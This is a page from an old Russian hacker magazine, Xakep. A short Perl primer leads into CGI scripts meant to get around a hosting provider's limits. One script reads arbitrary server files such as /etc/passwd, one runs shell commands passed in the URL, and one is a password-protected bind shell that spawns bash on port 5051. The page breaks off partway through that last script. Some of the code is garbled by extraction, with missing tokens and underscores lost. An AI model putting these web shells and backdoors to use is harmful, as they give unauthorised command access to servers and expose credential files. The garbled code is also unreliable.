Электронная библиотека

Xakep

Xakep

Юниксоид

Xakep, номер #013, стр. 013-056-3


Этот тот минимум функций, который я считаю важными для понимания ниже приведенных программ и языка вообще.

7) Подпрограммы следует определять в текущем либо во внешнем файле следующим образом:

sub name; или sub name (прототипы);

Вот собственно и все, но для лучшего понимания я напишу маленький пример:

#!/usr/bin/perl

$i=;

if($i==13) {&hell;} else {&happydude;}

sub hell {print "pop music mustdie\n";}

sub happydude {print "your lame\n\a";}

Получаем Шелл!

Все! Кратчайший курс программирования на Perl'e окончен и теперь переходим собственно к тому самому, что написано в начале, то есть получение шелл-доступа и всего остального, что нам не дают буржуи ;).

Итак, у нас есть cgi-bin папка и ftp доступ, и мы знаем, насколько могуч язык Perl ;). Теперь напишем пару программок, которые дадут нам доступ ко всему.

1) Программа, которая будет открывать нам файлы на сервере:

#!/usr/bin/perl

$file = $ARGV[0]; #определяем, что имя файла это первый аргумент

print "Content-type: text/html\n\n"; #лабуда

print "

"; #рисуем столик для красоты

open(bum,"<$file") || die "Файл не найден\n"; #открываем файл или орем, что его нет

while() #цикл чтения файла по строчкам

{

print; #печать строки файла

print "
"; #перевод на следующую строку

}

close(bum); #закрываем файло

print"


"; #закрываем столик

# конец программы

Я думаю, пояснений больше не надо, набираем www.my-home.ru/cgi-bin/file.pl?/etc/passwd и получаем листинг файла с паролями.

2) Программа, исполняющая команды:

#!/usr/bin/perl

$file = $ARGV[0]; # определяем, что имя файла это первый аргумент

print "Content-type: text/html\n\n"; #лабуда

print "

"; #рисуем столик для красоты

open(bum,"$file|") || die "Файл не найден\n"; #запускаем прогу или орем, что ее нет

while() #цикл чтения по строчкам

{

print; #печать строки файла

print "
"; #перевод на следующую строку

}

close(bum); #закрываем прогу

print"


"; #закрываем столик

# конец программы

Ты заметил, что изменилось только строка открытия? Но теперь эта программа запускает другие проги (команды) и выдает результат! Достаточно только набрать www.my-home.ru/cgi-bin/file.pl?ls, и она выдаст тебе список файлов в текущем каталоге.

3) Программа, открывающая шелл на определенном порте:

#!/usr/bin/perl

$SHELL="/bin/bash -i"; #шелл

$LISTEN PORT=5051; #порт

$PASSWORD="66613"; #пароль

require 5.002; #необходимая версия

use Socket; #использование модуля работы с сокетами

$protocol = getprotobyname('tcp'); #используемый протокол

socket(S, &PF INET, &SOCK STREAM, $protocol) || die "ошибка\n";

setsockopt(S, SOL SOCKET, SO REUSEADDR, 1);

bind (S, sockaddr in($LISTEN PORT, INADDR ANY)) || die "ошибка\n";

listen (S, 3) || die "не могу открыть порт\n";

while (1) {

YOP: accept (T666, S) || goto YOP;

if (! ($pid=fork)) {

goto BYE if (! defined $pid); #fork failed

open STDIN, "<&T666";

open STDOUT, ">&T666";

open STDERR, ">&T666";

if($PASSWORD) { # проверка правильности пароля

Назад на стр. 013-056-2  Содержание  Вперед на стр. 013-056-4